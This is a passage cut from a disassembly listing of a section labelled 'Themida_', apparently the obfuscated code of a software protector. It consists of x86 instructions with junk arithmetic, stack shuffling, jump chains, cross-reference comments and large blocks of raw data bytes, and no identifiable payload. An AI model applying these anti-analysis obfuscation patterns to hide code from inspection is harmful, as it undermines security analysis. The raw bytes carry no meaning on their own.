0FA2631ACh mov esi, edx pop edx mov ebp, 77E3823Fh sub ebp, esi pop esi sub ebp, 5C576E3h jmp loc_55410F ; --------------------------------------------------------------------------- db 50h, 88h, 0F8h dd 0FFE34AE9h, 5AD128FFh db 0FEh, 0C1h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_550AFA ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 4436C6BAh, 0C4F28108h, 89084436h, 0B590E9D6h, 665CFFFFh dd 0E816E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D3C6: ; CODE XREF: Themida_:005509E4j push 6B74h mov [esp], edx mov edx, 1 and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push esi jmp loc_555F11 ; --------------------------------------------------------------------------- loc_54D3E7: ; CODE XREF: Themida_:005521B0j mov edi, ebx pop ebx push edi jmp loc_54C212 ; --------------------------------------------------------------------------- dd 2EC81h, 89660000h, 4DB7241Ch, 7BE9F930h, 0FE000017h dd 0AAF680C6h, 88E9F328h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D40F: ; CODE XREF: Themida_:00549B39j sub esp, 4 mov [esp], ebx mov ebx, 76024BE2h push 6852h mov [esp], ecx mov ecx, 6BD87631h push 273Fh jmp loc_556B75 ; --------------------------------------------------------------------------- loc_54D434: ; CODE XREF: Themida_:00547CCEj push dword ptr [esp] pop ecx jmp loc_553FFD ; --------------------------------------------------------------------------- db 1, 0CBh, 8Bh dd 0C481240Ch, 4, 0FFE9E9E9h db 0FFh byte_54D44D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541A3Co dd 4EC8324h, 68240489h, 2D62h, 81242489h, 42404h, 48B0000h dd 4C48124h, 55000000h, 505EE9h, 24048F00h, 0D324248Bh dd 0E99C243Ch, 0FFFF469Bh, 20EA814Ah, 89BA139Ah, 0E1C15AD1h dd 0D1F18105h, 29CDFE31h, 0EA8159CAh, 4A261521h, 8904EC83h dd 0E4BF243Ch, 1574398h, 5B525FFAh, 65F5E9h db 0 ; --------------------------------------------------------------------------- loc_54D4B5: ; CODE XREF: Themida_:0054EB2Cj neg ecx inc ecx xor ecx, 318C1C76h add eax, ecx pop ecx sub eax, edx sub eax, 70583A33h jmp loc_54BE82 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 8924248Bh, 1682414h, 8B000000h, 89562414h, 4C681E6h dd 0E9000000h, 0FFFFB44Eh, 11226851h, 8159146Fh, 0FFFFFFE9h dd 0F1C181FFh, 8956DF0Fh, 6E0559CBh, 293F113Dh, 3D6E2DD8h dd 17E93F11h, 0FFFFEAh, 0EE95AD3h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D51B: ; CODE XREF: Themida_:0054A4E1j add esp, 4 jmp loc_54409D ; --------------------------------------------------------------------------- loc_54D523: ; CODE XREF: Themida_:0054F1AAj and ecx, edi jmp loc_548D17 ; --------------------------------------------------------------------------- loc_54D52A: ; CODE XREF: Themida_:00551B68j push eax jmp loc_54AE28 ; --------------------------------------------------------------------------- dd 21E9E189h, 89FFFF7Fh, 74FF243Ch, 3C8B0424h, 4C48324h dd 8B24048Fh, 0D0E92424h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D54F: ; CODE XREF: Themida_:00543022j sub eax, 75B933ECh add ebp, eax pop eax push esi push eax mov eax, 4 jmp loc_5454DE ; --------------------------------------------------------------------------- db 5 dd 58F24C6Bh, 11E2E9h, 31876800h, 14890000h, 0EC815324h dd 4, 0B2241489h, 0BA88E978h, 0D4BFFFFFh, 4F5D7E66h, 39CCCF81h dd 73E93D7Ch db 34h, 2 dup(0) byte_54D597 db 0ADh ; DATA XREF: Themida_:00541A8Co dd 6D99BD55h, 0B85023E6h, 20711132h, 8F4E472Dh, 0D0F74841h dd 0E22D4040h, 21ACE308h, 0CD8158C5h, 16573704h, 55C58145h dd 552B15CBh, 7160C9BDh, 0F18FE92Dh, 3C89FFFFh, 374ABF24h dd 0E7D11472h, 57FFC783h, 0E92414F7h, 4960h ; --------------------------------------------------------------------------- loc_54D5E4: ; CODE XREF: Themida_:00554066j sub esi, ecx mov ecx, [esp] jmp loc_55533C ; --------------------------------------------------------------------------- dw 3C87h dd 0D85CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D5F6: ; CODE XREF: Themida_:005449ACj mov edx, 6064565Ah jmp loc_546AF6 ; --------------------------------------------------------------------------- dd 0C181D1F7h, 0E455F2BCh, 19E9CD01h, 0B9FFFFA3h, 8BD74872h dd 0FFF496E9h, 242C89FFh, 0B45F77BDh, 0BA522Bh, 294EC412h dd 24148BD5h, 81E38953h, 4C3h, 4BA5200h, 1000000h, 24148BD3h dd 8704C483h, 875C241Ch, 87D9F7CDh, 0F4FBE9CDh, 0E95CFFFFh dd 0FFFF9955h, 4C481h, 0C2810000h, 0BC2068Dh, 2A30C281h dd 0C2810A20h, 54A83CF7h, 0EA81C229h, 54A83CF7h, 87A9E9h dd 4B900h, 0EA810000h, 64715731h, 0C281CA01h, 64715731h dd 4EA8359h, 8B241487h, 2C892424h, 1CFF6824h, 24890000h dd 24048324h, 56575D04h, 0FFE8E7E9h, 1382BAFFh, 0E2D111F2h dd 0B850D2F7h, 289C6A1Eh, 40F2BE56h, 0F02927B0h, 2D48405Eh dd 0A319CAE8h, 3158C201h, 7887E9D0h, 0E9580000h, 843Fh ; --------------------------------------------------------------------------- loc_54D6E0: ; CODE XREF: Themida_:0054ABDBj mov [esp], ebx sub esp, 4 mov [esp], esi push ecx push 5667027h pop ecx jmp loc_54EED8 ; --------------------------------------------------------------------------- dd 81DBF743h, 42D657EBh, 8B5F535Eh, 0C481241Ch, 4, 60E9F901h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D713: ; CODE XREF: Themida_:00552E5Dj pop ecx add edx, ebx push ebp push edx push 0ED919B4h pop edx xor edx, 52472451h xor edx, 46287FD8h jmp loc_54A1F5 ; --------------------------------------------------------------------------- db 89h dd 2BD242Ch, 29000000h, 2434FFE9h, 4C4835Dh, 8347E951h dd 0F6800000h, 597E9A2h, 0EB290000h, 0E9242C8Bh, 0FFFFC69Fh dd 951E981h, 0F2E917ADh db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D763: ; CODE XREF: Themida_:0054C13Fj mov edi, 24F01400h and edi, 35F61772h xor edi, 7E070422h jmp loc_550014 ; --------------------------------------------------------------------------- byte_54D779 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541990o db '$hÔ',27h,0 align 2 dw 0C89h dd 83595424h, 3C8904ECh, 4BF24h, 0BD550000h, 375A627Eh dd 0E90ABF57h, 0BE560CE1h, 7F961365h, 295EF529h, 65C581FDh dd 5F7F9613h, 15DE901h, 74E981F9h, 5F2A7879h, 8904EC83h dd 6E92404h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7C7: ; CODE XREF: Themida_:00545C37j add ebx, 4 push 3902h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_548C48 ; --------------------------------------------------------------------------- loc_54D7E9: ; CODE XREF: Themida_:005518DFj add esi, 4 push edi mov edi, 4 add esi, edi jmp loc_542838 ; --------------------------------------------------------------------------- dd 4C4044BEh, 8BF229D4h, 0C4812434h, 4, 148BD129h, 4C48324h dd 0E9C1E1D1h, 8E1C107h, 757FBD55h, 0E931407Ah, 0E9242C8Bh dd 0FFFFBC39h, 5B4768h, 243C8900h, 0BD55E789h, 0FBC29CCh dd 0E581DDF7h, 585F31D6h, 0A165E953h, 74FFFFFFh, 34FF0424h dd 0C4835824h, 24048F04h, 0E924248Bh, 0FFFF5F1Ah, 8058E330h dd 0E5686BC3h, 0E900004Ch, 594Bh, 511DE181h, 565241D3h dd 30B0E9h db 0 ; --------------------------------------------------------------------------- loc_54D87D: ; CODE XREF: Themida_:0054DDC0j push eax mov eax, 501DD04h jmp loc_544FFB ; --------------------------------------------------------------------------- dd 0FFE9E289h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D88F: ; CODE XREF: Themida_:00541DD6j sub esp, 4 mov [esp], ebx mov ebx, 664D789Eh jmp loc_54363C ; --------------------------------------------------------------------------- dw 0D300h dd 5A87C380h, 0E92DC380h, 0FFFFC8BEh, 0A44A89BBh, 1BC38118h dd 81563773h, 4ECh, 241C8900h, 0FF7C0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D8C9: ; CODE XREF: Themida_:00550CCCj add eax, ebx mov ebx, [esp] add esp, 4 push 3499h mov [esp], edx mov edx, 10h jmp loc_547670 ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 0D2A8E904h, 0DEF7FFFFh, 0FF42FEE9h, 0CA095AFFh dd 0BABE5659h, 31A3F5BCh, 0C5815EF2h, 69AA1574h, 0ED81D501h dd 69AA1574h, 8324148Bh, 0BB5304C4h, 3DD86CA0h, 2414F753h dd 0EBC14B5Bh, 0A1B0E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D92E: ; CODE XREF: Themida_:005471ABj or edx, eax shl edx, 1 sub esp, 4 mov [esp], ecx push esp pop ecx push 0FA3h jmp loc_54964F ; --------------------------------------------------------------------------- aMh_ db '¬h_',7,0 ; DATA XREF: Themida_:00541994o dd 24148900h, 0F02887B6h, 6D2AE95Ah, 875CFFFFh, 505C240Ch dd 0E0C0BCB0h, 0FE190C03h, 34C8FEC0h, 58C100D9h, 0C800232Ch dd 0E9592304h, 78DDh, 448968h, 24148900h, 0FFD8A8E9h, 48EB81FFh dd 21D68A01h, 11E95BDAh db 7Ch, 2 dup(0FFh) byte_54D997 db 0FFh ; DATA XREF: Themida_:00541AC4o dd 0CEE92434h, 81FFFF7Eh, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_546CD3 ; --------------------------------------------------------------------------- db 0BFh dd 3CA90201h, 62E9F909h, 59FFFFA9h, 31241433h, 14332414h dd 24248B24h, 4AB0F66h, 11E99C24h, 5E00007Dh, 31243C33h dd 3C33243Ch, 24248B24h, 0E9C8B70Fh, 0FFFF74D1h ; --------------------------------------------------------------------------- loc_54D9EC: ; CODE XREF: Themida_:00554D27j add esi, 540435FBh pop edi add esi, ebp push edi mov edi, 6B5715D7h sub esi, edi mov edi, [esp] add esp, 4 mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edx, 3E295F07h sub edx, esi sub edx, 3E295F07h mov esi, [esp] jmp loc_543EA5 ; --------------------------------------------------------------------------- db 66h dd 8B66CB21h, 0EC81240Ch, 4, 0E9240C89h, 115Eh, 8AF58145h dd 1B16897h, 5AA1E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA52: ; CODE XREF: Themida_:00547027j push edi jmp loc_547FDB ; --------------------------------------------------------------------------- dd 40AB850h, 0BD556CDFh, 1BAE432Bh, 8106E5C1h, 7C1A34EDh dd 0FFD2E943h, 1487FFFFh, 57505C24h, 3A3F13BFh, 3DB85060h dd 29129A44h, 0BA5258C7h, 556D3A77h, 3B8CE9h, 5982B900h dd 4C29489Bh, 1590824h, 0E9042454h, 0FFFFD8A0h, 59CE2958h dd 6079F681h, 89561A4Fh, 4C681E6h, 81000000h, 4EEh, 24348700h dd 2414895Ch, 0DF17E4BAh, 0F4BD5524h, 1DB4B06h, 1E95DEAh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DAD7: ; CODE XREF: Themida_:00549F9Ej mov esi, 1 push ebx jmp loc_5554B3 ; --------------------------------------------------------------------------- dw 0F829h dd 6BC3815Fh, 0E96EE63Bh, 2105h ; --------------------------------------------------------------------------- loc_54DAF0: ; CODE XREF: Themida_:00547457j add esp, 4 push esi jmp loc_54DDA2 ; --------------------------------------------------------------------------- dd 5BB8C281h, 0A8E94703h db 7Bh, 2 dup(0FFh) byte_54DB07 db 0FFh ; DATA XREF: Themida_:00541850o dd 815A2434h, 4ECh, 243C8900h, 0F868E789h, 89000038h, 4BD242Ch dd 0E9000000h, 0FFFF7685h, 8B5DE901h, 0C483242Ch, 0CCE95104h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DB37: ; CODE XREF: Themida_:00550DB4j mov ecx, 2C02D5h add ecx, 80073530h xor ebp, ecx mov ecx, [esp] jmp loc_54B202 ; --------------------------------------------------------------------------- dword_54DB4C dd 757168h, 24348900h, 197981BEh, 83EED144h, 1C8904ECh ; DATA XREF: Themida_:00541A2Co dd 0A87BB24h, 0EB816E04h, 0FB8B420h, 685BDE29h, 8AFh, 0B9240C89h dd 5EBB4A5Fh, 46E7E9h db 0 ; --------------------------------------------------------------------------- loc_54DB81: ; CODE XREF: Themida_:00554AF7j mov ecx, esp sub esp, 4 mov [esp], edx jmp loc_5556ED ; --------------------------------------------------------------------------- loc_54DB91: ; CODE XREF: Themida_:00544826j sub ebx, edi pop edi add ebx, 789D5744h push edx mov edx, 338B5E74h dec edx add edx, 0E9D1045Dh add ebx, edx jmp loc_5474F3 ; --------------------------------------------------------------------------- loc_54DBAE: ; CODE XREF: Themida_:005527EDj push dword ptr [esp] jmp loc_542CBA ; --------------------------------------------------------------------------- dw 0E943h dd 0FFFF4BB2h, 0FF3F5EE9h db 0FFh byte_54DBC1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541898o dd 4EC8324h, 89240489h, 0E520E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBD2: ; CODE XREF: Themida_:00555B90j mov ebp, 7AB2A3Ah or ecx, ebp pop ebp jmp loc_549280 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EA8300h, 5C241487h, 0FF6BACE9h, 240C28FFh, 0E0240480h dd 0FF8CB5E9h, 77B951FFh, 49626913h, 6199C981h, 0CEE92AF5h dd 52000011h, 0ABFEE954h, 0C689FFFFh, 8F06E958h, 0EC83FFFFh dd 10A6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DC26: ; CODE XREF: Themida_:00545C40j push edi push ebx mov ebx, 5F846E30h jmp loc_54784B ; --------------------------------------------------------------------------- loc_54DC32: ; CODE XREF: Themida_:00551926j pop esi neg esi jmp loc_548A97 ; --------------------------------------------------------------------------- dw 205h dd 33000000h, 4312404h, 24043324h, 66D4E9h db 0 ; --------------------------------------------------------------------------- loc_54DC4D: ; CODE XREF: Themida_:0054E8DFj mov edi, 41AD0944h neg edi and edi, 796A4D01h xor edi, 1B097546h jmp loc_544EAF ; --------------------------------------------------------------------------- db 68h, 41h, 15h dd 34890000h, 81E68924h, 4C6h, 0A823E900h, 559FFFFh, 35FA3111h dd 0FFE478E9h, 2434FFFFh, 0ECB685Ah, 3C890000h, 815F5424h dd 4C7h, 4C78100h, 33000000h, 3C31243Ch, 243C3324h, 6824248Bh dd 6E21h, 0FF241C89h, 5B042474h, 8B24048Fh, 0E1F62424h dd 0FF54B6E9h, 243C8BFFh, 779A68h, 0A328E900h db 2 dup(0FFh) word_54DCD2 dw 8B66h ; DATA XREF: Themida_:005418BCo dd 54532404h, 0E92434FFh, 22FDh ; --------------------------------------------------------------------------- loc_54DCE0: ; CODE XREF: Themida_:00550E85j jmp loc_541B1F ; --------------------------------------------------------------------------- db 8, 0F7h, 0E9h dd 0FFFF45EBh, 0FF3E2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DCF1: ; CODE XREF: Themida_:00543A5Bj mov edx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx mov edx, 61A030DEh jmp loc_54FC8F ; --------------------------------------------------------------------------- aTyheo db 'TYhEO',0 dd 24048900h, 197827B8h, 3E8C11Ch, 4A200F25h, 6E0C174h dd 0FF04BF57h, 0BB2DFF77h, 139135Bh, 5BBB05F8h, 815F3913h dd 5D7A5FC1h, 0EE74E948h, 0B968FFFFh, 0E973FA0Bh, 0FFFF81DDh ; --------------------------------------------------------------------------- loc_54DD58: ; CODE XREF: Themida_:005466CCj mov ecx, 2681685Eh neg ecx shl ecx, 3 add ecx, 340B42F4h jmp loc_54B6EB ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 63BB535Eh, 0C1193E0Eh, 0B95103EBh, 252D107Fh, 7908E9h dd 81E68900h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFA460h ; --------------------------------------------------------------------------- loc_54DD98: ; CODE XREF: Themida_:0054E3DAj push 4F4Eh jmp loc_555E1E ; --------------------------------------------------------------------------- loc_54DDA2: ; CODE XREF: Themida_:0054DAF7j mov esi, 180257F9h sub esi, 0C87AED99h xor ecx, esi pop esi dec ecx shl ecx, 3 push edi mov edi, 0A906EDEDh sub ecx, edi pop edi mov ebp, ecx pop ecx jmp loc_54D87D ; --------------------------------------------------------------------------- db 29h, 0F5h, 0E9h dd 6C54h, 0E904E883h, 0FFFF7455h, 0F78071B7h, 3EFC0CAh dd 0FFB6F7E9h, 0E9815DFFh, 177E5C8Bh, 0FAC2E953h, 1C89FFFFh dd 7F15BB24h, 0DF010488h, 81241C8Bh, 4C4h, 51DFF700h, 1A16FFB9h dd 6BBA527Dh, 31B52520h, 24148BD1h, 28A1E9h db 0 ; --------------------------------------------------------------------------- loc_54DE19: ; CODE XREF: Themida_:00545709j pop edx xchg eax, [esp] mov esp, [esp] push edx jmp loc_54963B ; --------------------------------------------------------------------------- dw 0E968h dd 8900001Bh, 0E0892404h, 405h, 40500h, 4870000h, 0BDE95C24h dd 8100007Dh, 4C4h, 241C8B00h, 0FF4833E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DE51: ; CODE XREF: Themida_:00555095j mov edx, 1654205Ch jmp loc_554F6C ; --------------------------------------------------------------------------- loc_54DE5B: ; CODE XREF: Themida_:0054F086j xor ebx, edi xor edi, ebx xor ebx, edi xchg esi, edi neg esi xchg esi, edi xchg edi, ebx push 24B2h jmp loc_54EA1A ; --------------------------------------------------------------------------- db 53h dd 0F8883EB7h, 0FF50E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DE7D: ; CODE XREF: Themida_:0054903Fj shr ecx, 5 xor ecx, 25193EEh jmp loc_5517BA ; --------------------------------------------------------------------------- db 83h dd 5B6802C4h, 89000008h, 0E789243Ch, 4C781h, 0B9510000h dd 4, 0E959CF29h, 0FFFF7F70h, 83243C8Bh, 0E94204C4h, 3F96h dd 0E9E18951h, 1295h, 50D6EE81h, 0BB5304F7h, 74A477E1h dd 0E904E3C1h, 0FFFFC878h, 4C781h, 0C7830000h, 243C8704h dd 7C5E9h, 0E9D2F700h, 0FFFF88ECh, 0E9C0B60Fh, 0FFFF4F3Ch ; --------------------------------------------------------------------------- loc_54DEF4: ; CODE XREF: Themida_:0054AA74j pop esp jmp loc_54EECD ; --------------------------------------------------------------------------- loc_54DEFA: ; CODE XREF: Themida_:0054C2C2j mov ch, 33h add dh, ch pop cx pop ecx push eax push esp pop eax push ecx mov ecx, 30DB703Bh shr ecx, 5 jmp loc_548666 ; --------------------------------------------------------------------------- dw 3D34h dd 0BB0CE72Ch, 5352D8F6h, 0FA8878B7h, 1EA805Bh, 30E3C280h dd 0C1305AD0h, 5024048Bh, 0BB535854h, 4, 0E2E9D801h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF3F: ; CODE XREF: Themida_:0054A77Ej add eax, 10BA3238h push edi push edx mov edx, 7D7E3F0Fh mov edi, edx pop edx inc edi push esi jmp loc_55347E ; --------------------------------------------------------------------------- db 29h, 0D9h, 5Bh dd 6850D101h, 48DB5187h, 0D0B20558h, 0C1811E15h, 19645997h dd 0BB53C101h, 19645997h, 0AE6E9h db 0 ; --------------------------------------------------------------------------- loc_54DF79: ; CODE XREF: Themida_:00552B48j mov esi, [esp] add esp, 4 push edx mov edx, 3DC671Bh sub esi, edx pop edx push ecx jmp loc_546E54 ; --------------------------------------------------------------------------- dw 835Eh dd 555104C4h, 14CBE9h db 0 ; --------------------------------------------------------------------------- loc_54DF99: ; CODE XREF: Themida_:00546204j pop eax jmp loc_5549B0 ; --------------------------------------------------------------------------- loc_54DF9F: ; CODE XREF: Themida_:0054B910j mov [esp], edi push ecx mov ecx, 65FE3416h push edi mov edi, 454DD4DBh sub ecx, edi pop edi mov edi, ecx pop ecx sub dword ptr [esp+4], 4F2B0A0Ch jmp loc_54F775 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0DEh dd 0BB384C53h, 384C53DAh, 0FF9573E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFD1: ; CODE XREF: Themida_:0055202Ej push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push 4E63h jmp loc_545CB5 ; --------------------------------------------------------------------------- dw 0E942h dd 0FFFF74A6h, 13E76866h, 24148966h, 88FD8851h, 240C8BEAh dd 4C481h, 52660000h, 0F6241486h, 241486D2h, 24148B66h dd 81595451h, 4C1h, 2C18100h, 87000000h, 515C240Ch, 0BB53E189h dd 38BD2CD3h, 2DFDE9h, 48F5400h, 24048124h, 4, 83240C8Bh dd 0AFE904C4h, 56000013h, 0C4242C81h, 5F687551h, 51C4C781h dd 15E6875h, 0E9815FF9h, 4, 0FFA03BE9h, 24048FFFh, 4EC835Ch dd 0E9240C89h, 0FFFFEDAAh ; --------------------------------------------------------------------------- loc_54E074: ; CODE XREF: Themida_:00552E73j shl edx, 8 jmp loc_54A535 ; --------------------------------------------------------------------------- loc_54E07C: ; CODE XREF: Themida_:005473BDj add esp, 4 xor ecx, 705A63D6h jmp loc_542508 ; --------------------------------------------------------------------------- byte_54E08D db 0ADh, 57h, 0BFh ; DATA XREF: Themida_:005419D0o dd 4C242281h, 55FF829h, 6DC21424h, 421D372Dh, 1A360556h dd 0D82903BEh, 0BE1A362Dh, 1D370503h, 0E9525642h, 48C4h dd 4C2815Bh, 52000000h, 42474FFh, 24048F5Ah, 4EC835Ch dd 54243C89h, 6E12E9h db 0 ; --------------------------------------------------------------------------- loc_54E0D5: ; CODE XREF: Themida_:0054F1E6j push dword ptr [esp] pop ebp push ebx push esp pop ebx add ebx, 4 jmp loc_544358 ; --------------------------------------------------------------------------- db 81h dd 4819FC3h, 49E2E940h, 685D0000h, 0A1Ch, 55240C89h, 3E460E68h dd 0E5C15D49h, 66CD8107h, 813FB946h, 1A45E2CDh, 4EC8148h dd 89000000h, 5EB82404h, 0C12F545Ch, 0EDE906E8h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E127: ; CODE XREF: Themida_:00552F2Fj xor edx, 3DA67AEEh add edi, edx mov edx, [esp] add esp, 4 std sub esp, 4 mov [esp], eax push 3DA17DD6h push dword ptr [esp] pop eax add esp, 4 or eax, 15076AFh neg eax push ecx mov ecx, 3F87013h shr ecx, 8 jmp loc_547C37 ; --------------------------------------------------------------------------- db 81h dd 6020E2EEh, 5EF28969h, 0E95AD589h, 0FFFF4E65h ; --------------------------------------------------------------------------- loc_54E174: ; CODE XREF: Themida_:00552EECj add ebx, 1EBD7438h sub ebx, 154F1176h sub esp, 4 mov [esp], ebp mov ebp, 4E994026h add ebx, ebp pop ebp push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 jmp loc_5491A4 ; --------------------------------------------------------------------------- loc_54E1A5: ; CODE XREF: Themida_:00555346j mov edx, eax mov eax, [esp] add esp, 4 jmp loc_5447AD ; --------------------------------------------------------------------------- loc_54E1B2: ; CODE XREF: Themida_:005522C4j pop eax xchg ecx, [esp] pop esp mov [esp], edx push 36013499h mov edx, [esp] add esp, 4 push edi mov edi, 4DF7E9Bh shl edi, 6 xor edi, 0F8FE7B24h add edx, edi jmp loc_550B7C ; --------------------------------------------------------------------------- db 0C0h dd 0E48003ECh, 0C1C4802Ah, 30D4F480h, 24048BE7h, 4C481h dd 0F8300000h, 81241C8Bh, 4C4h, 4F8B6800h, 14890000h, 81E28924h dd 4C2h, 0E4E0E900h, 0EE29FFFFh, 81DE015Dh, 293B18C6h dd 2434FF21h, 64E9515Bh, 5EFFFF49h, 0FF652FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E22D: ; CODE XREF: Themida_:0054EC6Dj mov ebx, 7448480Ah jmp loc_54F9E8 ; --------------------------------------------------------------------------- db 81h dd 0A91D3BCEh, 24456858h, 14890000h, 719BA24h, 0D6210609h dd 0F7DEF75Ah, 17EE81DEh, 1000905h, 1C335EF3h, 241C3124h dd 5C241C33h, 240C8B66h, 1FC7E9h, 0F6EA8600h, 86EA86D5h dd 34FF2414h, 0BB37E924h, 0C381FFFFh, 783F01D9h, 6D9EE9h dd 1BD5500h, 1000000h, 242C8BEEh, 4C481h, 684E0000h, 2E82h dd 0E9240489h, 0FFFF5EFFh, 55046850h, 8F540000h, 4BE92404h dd 5DFFFFD4h, 5A5EF529h, 0FF7E3CE9h, 4EC83FFh, 89241C89h dd 0B85057E3h, 4, 0A7E95350h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2D7: ; CODE XREF: Themida_:00542036j pop esi push esi mov esi, 59484362h push ebx mov ebx, 2A596BCFh or esi, ebx pop ebx sub esi, 388A43ECh push eax jmp loc_55127C ; --------------------------------------------------------------------------- loc_54E2F3: ; CODE XREF: Themida_:00544628j push dword ptr [edi+1Ch] jmp loc_55427F ; --------------------------------------------------------------------------- db 5Bh dd 0F580D5F6h, 59EB88B9h, 0FF3CE0E9h, 0ED815EFFh, 1FBEE528h dd 9EE9E989h, 5BFFFF5Ch, 8B24048Fh, 0D4E92424h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E323: ; CODE XREF: Themida_:00544FACj mov ebp, [esp] add esp, 4 shl edx, 1 inc edx xor edx, 0A6016C17h mov ecx, edx mov edx, [esp] add esp, 4 shl ecx, 6 jmp loc_54A1A0 ; --------------------------------------------------------------------------- db 68h, 1Eh, 6Dh dd 0C890000h, 4B85024h, 89000000h, 0CA0158C1h, 24148759h dd 2D24248Bh, 66F5586Bh, 7C04E9h, 24048700h, 648CE95Ch dd 5B66FFFFh, 4EC81h, 14890000h, 0CB15124h, 0B9E2E950h dd 8F5BFFFFh, 0AFE92404h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E38F: ; CODE XREF: Themida_:00552077j not dword ptr [esp] pop edi xor edi, 598175C8h jmp loc_54F8CA ; --------------------------------------------------------------------------- dw 0DFF7h dd 0C107EFC1h, 0C78106E7h, 71B244Eh, 2686C781h, 0FD31B99Dh dd 5F2434FFh, 2655E9h db 0 ; --------------------------------------------------------------------------- loc_54E3BD: ; CODE XREF: Themida_:00547092j xchg ecx, [esp] pop ebp jmp loc_54604C ; --------------------------------------------------------------------------- loc_54E3C6: ; CODE XREF: Themida_:005464C4j push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54DD98 ; --------------------------------------------------------------------------- db 0BFh dd 365433EEh, 0FF4573E9h, 241C89FFh, 0C00ACBBBh, 0E9DE014Ah dd 0FFFFE202h, 0F788E688h, 46B8E95Ah, 0D831FFFFh, 1E8FBB53h dd 0DBF72311h, 3235C381h, 0EC813DB6h, 4, 0FF3D87E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E41D: ; CODE XREF: Themida_:0054B1FDj add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 4DE0h mov [esp], edx jmp loc_542050 ; --------------------------------------------------------------------------- loc_54E43F: ; CODE XREF: Themida_:00556B38j push esi pop edx mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp and eax, edx pop edx jmp loc_54FC43 ; --------------------------------------------------------------------------- loc_54E462: ; CODE XREF: Themida_:00549536j mov ecx, esi pop esi mov eax, ecx pop ecx push edx mov edx, 357F2189h add edx, 70F24DDFh add edx, 0B4F4A684h sub eax, edx pop edx jmp loc_541EFB ; --------------------------------------------------------------------------- dw 0E801h dd 2DF8295Dh, 1A284265h, 0FFEC38E9h db 0FFh byte_54E491 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005418C0o dd 5724048Bh, 8350E789h, 0C8904ECh, 3F89B924h, 0BF577CD0h dd 33881DD2h, 0F747DFF7h, 826EE9D7h, 0B60FFFFFh, 87048DC0h dd 2BFF68h, 24048900h, 0FF3656E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E4C9: ; CODE XREF: Themida_:00554787j mov ebp, esi pop esi and ebp, 58A021A4h xor ebp, 5A571E1Fh xor edx, ebp push dword ptr [esp] jmp loc_552A0E ; --------------------------------------------------------------------------- loc_54E4E2: ; CODE XREF: Themida_:005544C1j neg ebp xor ebp, 381546CBh sub ebp, 63A193E0h add ebx, ebp jmp loc_54A25F ; --------------------------------------------------------------------------- db 0BFh dd 729753E2h, 0FF4B03E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E501: ; CODE XREF: Themida_:005565B3j pop edi pop edi sub eax, 5ECE770Ah jmp loc_54C3AC ; --------------------------------------------------------------------------- byte_54E50D db 66h, 68h, 88h ; DATA XREF: Themida_:0054191Co dd 66546611h, 8124048Fh, 2ECh, 34896600h, 0BB665324h, 0BE66095Dh dd 166F6A5h, 56665BDEh, 614CBE66h, 24448166h, 66582204h dd 4247401h, 0EC835566h, 241C8904h, 7706BB66h, 91C38166h dd 0B9665144h, 96E94AB6h, 68FFFFA2h, 3420h, 51242489h dd 4B9h, 244C0100h, 6872E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E572: ; CODE XREF: Themida_:0054D11Aj sub eax, 0ADF04700h jmp loc_55211C ; --------------------------------------------------------------------------- loc_54E57C: ; 